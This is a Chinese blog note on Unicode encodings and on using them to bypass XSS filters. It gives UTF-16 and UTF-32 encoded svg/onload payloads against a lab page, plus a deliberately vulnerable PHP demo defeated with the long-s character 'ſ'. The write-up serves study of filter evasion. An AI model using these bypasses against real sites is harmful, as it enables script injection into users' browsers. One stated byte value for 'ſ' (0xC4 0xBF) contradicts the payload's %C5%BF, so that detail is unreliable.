无意间看到一篇讲解unicode绕过xss的文章Xssing Web With Unicodes,内容比较基础,记录下,顺便巩固下unicode的相关知识:)
unicode基础知识
简单来说,unicode 是字符集,utf-8,utf-16,utf-32是编码规则。
unicode 字符集: ttps://unicode-table.com/
UTF-8 (1-4 byte)
utf-8是可变变长编码,将一个unicode码位编码成1-4字节。
1 | U+ 0000 ~ U+ 007F: 0XXXXXXX |
Example :
- Character “A” => 0x41
- Character “ſ” => 0xC4 0xBF
- Character “ಓ” => 0xE0 0xB2 0x93
- Character “𪨶” => 0xF0 0xAA 0xA8 0xB6
例如 “ſ”查unicode字符集为 \u+017f
1 | 0000 0001 0111 1111 <- unicode 二进制 |
在线unicode转utf-8工具: http://www.ltg.ed.ac.uk/~richard/utf-8.cgi?input=017f&mode=hex
UTF-16 (2byte)
UTF-16be (be- Big Endian) [Left to Right Byte Order ]
Example :
- Character “A” => 0x00 0x41
UTF-16le (le- Little Endian) [Right to Left Byte Order]
Example :
- Character “A” => 0x41 0x00
UTF-32 (4 byte)
UTF-32be (be- Big Endian) [Left to Right Byte Order]
Example :
- Character “A” => 0x00 0x00 0x00 0x41
UTF-32le (le- Little Endian) [Right to Left Byte Order]
Example :
- Character “A” => 0x41 0x00 0x00 0x00
unicode绕过
简单编码绕过 :
http://rakeshmane.com/lab/unicode/xss.php?x=payload&charset=utf-8
1 |
|
这个比较简单,设置字符集为 utf-16 或 utf-32可以绕过preg_replace
检测
设置编码为utf-16大端模式:
x=%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00&charset=utf-16be
设置编码为utf-32
x=%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E&charset=UTF-32
看paylaod可以发现 最前面多了一个 %00,UTF-32是4字节编码,”<”编码为”%00%00%00%3C”, 前面多加的一个 %00, 是为了匹配服务器返回的页面内容为4的整数倍,这样浏览器通过utf-32编码页面内容才能正确渲染提供的payload,触发xss,实际情况需要添加多少个 %00 来满足4的整数倍,视具体情况而定。
当没有指定编码模式(大端,小端)时,默认情况下UTF-32为大端模式,UTF-16为小端模式。
滥用unicode映射
有些应用为了更好的兼容性,将unicode字符映射为大写或小写英文字母,作则给了一段nodejs代码去获取这些映射关系。
1 | highNumber=65000; |
得到如下结果:
1 | 305 Original : ı [\u131] LowerCase : UpperCase : I |
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 0');
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self';">
highlight_string(file_get_contents(__FILE__, true));
$x=$_GET['x'];
$x=str_ireplace('$','',$x); // Use it to bypass WAF,I know it's annoying but I can't disable it :P
$x=str_ireplace('<script','BLOCKED',$x);
$x = mb_convert_case($x, MB_CASE_UPPER);
echo $x;源码中使用
mb_convert_case
去转换字符,默认用utf-8编码,从上面的unicode映射可知ſ [\u17f]
映射为大写字母S
可以,以此来绕过str_ireplace
的检测,ſ [\u17f]
utf-8编码为0xc40xbfPaylaod:
x=<%C5%BFcript/src=./1></script>